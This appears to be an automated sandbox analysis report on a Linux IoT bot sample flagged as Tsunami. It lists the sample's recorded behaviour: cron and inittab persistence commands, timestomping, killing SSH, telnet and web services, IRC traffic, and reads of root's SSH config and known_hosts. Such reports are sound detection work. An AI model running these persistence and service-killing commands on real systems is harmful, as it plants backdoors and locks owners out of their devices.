Source: /usr/bin/killall (PID: 5540)	File opened: /proc/259/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/1475/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/936/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5540)	File opened: /proc/3656/stat	Jump to behavior

Source: /tmp/irq1.elf (PID: 5439)	Shell command executed: sh -c "touch -acmr /bin/ls /tmp/irq1.elf"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5446)	Shell command executed: sh -c "(crontab -l \| grep -v \"/tmp/irq1.elf\" \| grep -v \"no cron\" \| grep -v \"lesshts/run.sh\" > /var/run/.x00740882966) > /dev/null 2>&1"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5456)	Shell command executed: sh -c "echo \"* * * * * /tmp/irq1.elf > /dev/null 2>&1 &\" >> /var/run/.x00740882966"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5458)	Shell command executed: sh -c "crontab /var/run/.x00740882966"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5461)	Shell command executed: sh -c "rm -rf /var/run/.x00740882966"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5464)	Shell command executed: sh -c "cat /etc/inittab \| grep -v \"/tmp/irq1.elf\" > /etc/inittab2"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5468)	Shell command executed: sh -c "echo \"0:2345:respawn:/tmp/irq1.elf\" >> /etc/inittab2"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5470)	Shell command executed: sh -c "cat /etc/inittab2 > /etc/inittab"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5473)	Shell command executed: sh -c "rm -rf /etc/inittab2"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5476)	Shell command executed: sh -c "touch -acmr /bin/ls /etc/inittab"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5481)	Shell command executed: sh -c "/bin/uname -n"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5484)	Shell command executed: sh -c "/bin/uname -n"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5487)	Shell command executed: sh -c "/bin/uname -n"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5490)	Shell command executed: sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5496)	Shell command executed: sh -c "service httpd stop > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5503)	Shell command executed: sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5510)	Shell command executed: sh -c "killall -9 minihttpd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5514)	Shell command executed: sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5518)	Shell command executed: sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5521)	Shell command executed: sh -c "nvram set http_enable=0 > /dev/null 2>&1"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5523)	Shell command executed: sh -c "killall -9 httpd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5529)	Shell command executed: sh -c "service telnetd stop > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5532)	Shell command executed: sh -c "service sshd stop > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5535)	Shell command executed: sh -c "killall -9 telnetd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5541)	Shell command executed: sh -c "killall -9 utelnetd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5546)	Shell command executed: sh -c "killall -9 dropbear > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5550)	Shell command executed: sh -c "killall -9 sshd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5555)	Shell command executed: sh -c "killall -9 lighttpd > /dev/null 2>&1 &"	Jump to behavior
Source: /tmp/irq1.elf (PID: 5688)	Shell command executed: sh -c "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;( kill -9 `cat /var/run/dropbear.pid` `cat /var/run/sshd.pid` ; killall -9 sshd dropbear ; /etc/init.d/dropbear stop )>/dev/null 2>&1 & "	Jump to behavior
Source: /tmp/irq1.elf (PID: 5696)	Shell command executed: sh -c "export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;(service dropbear stop ; sudo service sshd stop ; sudo systemctl stop ssh )>/dev/null 2>&1 & "	Jump to behavior

Source: /bin/sh (PID: 5453)	Grep executable: /usr/bin/grep -> grep -v /tmp/irq1.elf	Jump to behavior
Source: /bin/sh (PID: 5454)	Grep executable: /usr/bin/grep -> grep -v "no cron"	Jump to behavior
Source: /bin/sh (PID: 5455)	Grep executable: /usr/bin/grep -> grep -v lesshts/run.sh	Jump to behavior
Source: /bin/sh (PID: 5467)	Grep executable: /usr/bin/grep -> grep -v /tmp/irq1.elf	Jump to behavior

Source: /bin/sh (PID: 5463)	Rm executable: /usr/bin/rm -> rm -rf /var/run/.x00740882966			Jump to behavior
Source: /bin/sh (PID: 5475)	Rm executable: /usr/bin/rm -> rm -rf /etc/inittab2			Jump to behavior

Source: /usr/sbin/service (PID: 5502)	Systemctl executable: /usr/bin/systemctl -> systemctl stop httpd.service	Jump to behavior
Source: /usr/sbin/service (PID: 5516)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5526)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /usr/sbin/service (PID: 5531)	Systemctl executable: /usr/bin/systemctl -> systemctl stop telnetd.service	Jump to behavior
Source: /usr/sbin/service (PID: 5544)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5559)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /usr/sbin/service (PID: 5534)	Systemctl executable: /usr/bin/systemctl -> systemctl stop sshd.service	Jump to behavior
Source: /usr/sbin/service (PID: 5548)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5562)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /sbin/service (PID: 5699)	Systemctl executable: /bin/systemctl -> systemctl stop dropbear.service	Jump to behavior
Source: /sbin/service (PID: 5702)	Systemctl executable: /bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /sbin/service (PID: 5704)	Systemctl executable: /bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /usr/sbin/service (PID: 5709)	Systemctl executable: /usr/bin/systemctl -> systemctl stop sshd.service	Jump to behavior
Source: /usr/sbin/service (PID: 5712)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5714)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /bin/sudo (PID: 5981)	Systemctl executable: /usr/bin/systemctl -> systemctl stop ssh	Jump to behavior

Source: /bin/sh (PID: 5445)	Touch executable: /usr/bin/touch -> touch -acmr /bin/ls /tmp/irq1.elf			Jump to behavior
Source: /bin/sh (PID: 5478)	Touch executable: /usr/bin/touch -> touch -acmr /bin/ls /etc/inittab			Jump to behavior

Source: /usr/sbin/service (PID: 5527)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p	Jump to behavior
Source: /usr/sbin/service (PID: 5560)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p	Jump to behavior
Source: /usr/sbin/service (PID: 5563)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p	Jump to behavior
Source: /usr/sbin/service (PID: 5715)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p	Jump to behavior

Source: submitted sample

Stderr: cat: /etc/inittab: No such file or directorycat: /var/run/httpd.pid: No such file or directorycat: /var/run/thttpd.pid: No such file or directory: exit code = 0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080
Source: unknown	Network traffic detected: IRC traffic on port 33610 -> 8080

Source: /tmp/irq1.elf (PID: 5437)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/uname (PID: 5483)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/uname (PID: 5486)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/uname (PID: 5489)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/sudo (PID: 5708)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/sudo (PID: 5698)	Queries kernel information via 'uname':	Jump to behavior

Source: irq1.elf, 5437.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5686.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5694.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5718.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5720.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5721.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5723.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5727.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5729.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5731.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5733.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5735.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5738.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5739.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5741.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5744.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5745.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: irq1.elf, 5437.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5686.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5694.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5718.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5720.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5721.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5723.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5727.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5729.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5731.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5733.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5735.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5738.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5739.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5741.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5744.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp, irq1.elf, 5745.1.000055cf7ef66000.000055cf7f00d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: irq1.elf, 5437.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5686.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5694.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5750.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5822.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5952.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/irq1.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/irq1.elf
Source: irq1.elf, 5437.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5686.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5694.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5750.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5822.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5952.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: irq1.elf, 5750.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5822.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp, irq1.elf, 5952.1.00007ffeeb17b000.00007ffeeb19c000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Tsunami

Source: Yara match	File source: 5686.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5952.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5744.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5729.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5718.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5745.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5437.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5721.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5723.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5733.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5735.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5738.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5822.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5739.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5727.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5731.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5720.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5747.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5694.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5751.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5750.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5741.1.00007f87d0400000.00007f87d0550000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5437, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5686, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5694, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5718, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5721, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5723, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5727, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5729, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5731, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5733, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5735, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5738, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5739, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5741, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5745, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5747, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5750, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5751, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5822, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: irq1.elf PID: 5952, type: MEMORYSTR

Tries to read the SSH 'known_hosts' file

Source: /tmp/irq1.elf (PID: 5725)

SSH known_hosts: /root/.ssh/known_hosts

Jump to behavior

Tries to read the SSH config file

Source: /tmp/irq1.elf (PID: 5718)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5720)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5721)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5723)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5725)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5727)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5729)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5731)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5733)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5735)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5738)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5739)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5741)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5744)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5745)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5747)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5750)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5751)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5753)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5755)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5757)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5759)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5761)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5763)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5765)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5767)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5769)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5771)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5773)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5776)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5777)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5779)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5781)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5784)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5785)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5788)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5789)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5791)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5793)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5796)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5797)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5799)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5801)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5803)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5805)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5807)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5810)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5811)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5813)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5815)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5818)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5819)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5822)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5823)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5825)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5827)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5829)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5831)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5834)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5836)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5837)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5839)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5841)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5843)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5846)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5847)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5849)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5851)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5854)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5855)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5857)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5859)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5861)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5864)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5866)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5870)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5873)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5875)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5877)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5879)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5881)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5885)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5886)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5889)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5891)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5893)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5895)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5897)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5898)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5900)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5902)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5904)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5906)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5909)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5910)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5913)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5915)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5916)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5919)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5920)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5922)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5924)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5926)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5929)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5930)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5932)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5935)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5936)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5939)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5940)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5942)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5943)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5945)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5947)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5950)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5952)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5953)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5957)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5958)	SSH config: /root/.ssh/config	Jump to behavior
Source: /tmp/irq1.elf (PID: 5961)	SSH config: /root/.ssh/config	Jump to behavior
